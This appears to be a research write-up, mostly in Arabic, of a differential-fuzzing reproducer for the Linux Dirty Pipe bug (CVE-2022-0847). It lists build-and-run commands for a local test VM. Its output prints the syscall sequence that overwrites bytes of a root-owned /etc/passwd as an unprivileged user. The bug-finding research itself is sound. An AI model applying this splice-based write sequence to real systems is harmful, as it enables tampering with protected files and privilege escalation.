
إثبات مفهوم (PoC) تقريبي جدًا لكشف/إعادة إنتاج CVE-2022-0847 (dirty pipe) عبر التوليد العشوائي لاستدعاءات النظام (syscalls) والاختبار التفاضلي (differential fuzzing) مقابل نموذج.
كاشف ومعيد إنتاج بسيط لثغرة CVE-2022-0847 (dirty pipe). يستخدم مولّدًا بسيطًا لتسلسلات استدعاءات النظام/البرامج انطلاقًا من مجموعة محدودة عمدًا من اللبنات/قيم الإدخال (توليد فقط، دون تشويش (fuzzing) متقدم؛ دون تحوير؛ دون توجيه بالتغطية؛ دون تقليص/تصغير)، ويكتشف السلوك الخاطئ مستلهمًا من الاختبار القائم على الخصائص مع الحالة (stateful property-based testing) عبر مقارنة القيم المُرجَعة من كل إجراء على نموذج وبين النواة الحقيقية (تشويش تفاضلي مقابل نموذج).
كإخلاء مسؤولية: يستخدم الكود الكثير من الأرقام السحرية/الاختراقات/القيم المدمجة في اللبنات الأساسية ليتمكن من توليد الحد الأدنى من إثبات المفهوم (PoC) المُحفِّز للثغرة. لذلك فهو ليس ممثلًا حقيقيًا (إلا جزئيًا فقط) للتوليد الواقعي لتسلسل استدعاءات النظام الصحيح مع المعاملات الصحيحة. التوليد غير الموجّه عبر جميع المعاملات في فضاء الحالات الواسع المحتمل سيستغرق وقتًا أطول بكثير على الأرجح.
حاولت أن أعلّم جميع الأماكن التي تتأثر فيها قيمة أو اختيار الإجراءات بشكل مباشر بمعرفة مفترضة حول الـ PoC نفسه — والتي سيتعين بالتالي العثور عليها عشوائيًا للحصول على PoC واقعي بالكامل — بالسلسلة النصية "MAGIC VALUE".
ينبغي اعتبار هذا بمثابة إثبات مفهوم تقريبي جدًا.
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux
# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"
# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:
# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
المخرجات:
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 6f 6f 74 3a 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |root::0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34
thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
- [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
- [PipeFd { buf: [0], capacity: 65536 }]
- Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])
Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
$ # note that this poc is found practically instantly
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 00 00 00 00 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |r....:0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
لاحظ أن هذا الـ PoC يختلف قليلًا عن ذلك الموجود في build-kernel-and-minimal-poc، إذ إن ترتيب استدعاءات النظام تغيّر بطريقة لا تؤثر فعليًا على الثغرة.
يُظهر هذا أن التنفيذ المتزامن خطوة بخطوة للأوامر ضد النموذج والنظام قيد الاختبار الحقيقي (SUT) يحدد هذا الموقف بشكل صحيح أيضًا.